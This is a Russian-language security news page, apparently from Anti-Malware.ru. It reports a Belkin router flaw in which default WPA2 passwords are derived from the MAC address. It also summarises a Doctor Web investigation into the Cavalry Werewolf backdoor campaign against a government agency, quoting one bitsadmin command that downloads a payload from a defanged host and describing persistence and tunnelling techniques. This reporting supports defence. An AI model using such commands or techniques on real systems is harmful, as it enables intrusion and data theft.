Экспертам удалось осуществить взлом роутеров Belkin

Экспертам удалось осуществить взлом роутеров Belkin

 Эксперты в области информационной безопасности Джейкоб Лелл (Jakob Lell) и Йорг Шнайдер (Jorg Schneider) заявляют, что им удалось взломать пароль по умолчанию в роутерах Belkin. В ходе исследований выяснилось, что пароль, присваиваемый многим роутерам Belkin по умолчанию, при использовании стандарта шифрования WPA2, достаточно легко вычислить.

 

Главная причина данной проблемы заключается в том, что пароль, присваиваемый по умолчанию, генерируется на основе MAC-адреса устройства. По словам Йорга Шнайдера, учитывая тот факт, что MAC-адрес передаётся устройством, посредством сигнальных кадров, злоумышленнику не составит особого труда вычислить такой пароль, и беспрепятственно подключится к беспроводной сети жертвы. Как утверждает Шнайдер, каждая из восьми цифр, устанавливаемого по умолчанию пароля, генерируется путем замещения соответствующей цифры шестнадцатеричного кода сетевого MAC-адреса с помощью статической таблицы подстановок.

В свою очередь Джейкоб Лелл утверждает, для того чтобы вычислить используемый по умолчанию пароль роутера Belkin, злоумышленнику достаточно нарисовать простую таблицу подстановок, т.е. для того чтобы скомпрометировать устройство, ему необходимо лишь узнать MAC-адрес роутера, а затем, потратив всего лишь несколько минут, перевести его в шестнадцатеричный код.

По имеющимся данным, вышеописанная уязвимость содержится в роутерах Belkin Surf N150 номер модели F7D1301v1. К тому же, специалисты заявляют, что если верить маркировке на сайте Belkin, то вполне возможно, что уязвимость содержится в моделях N900 (F9K1104v1), N450 (F9K1105V2) и N300 (F7D2301v1). При этом большинство специалистов также не исключают возможности, что вышеописанная уязвимость может содержаться и в других роутерах Belkin.

Исследователи утверждают, что сообщили компании Belkin о найденной уязвимости еще в январе текущего года, однако ответа так и не получили. Именно поэтому решили опубликовать результаты исследований.

Чтобы не стать жертвой злоумышленников, эксперты советуют владельцам роутеров Belkin по возможности сразу же сменить присваиваемый по умолчанию пароль на более сложный.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru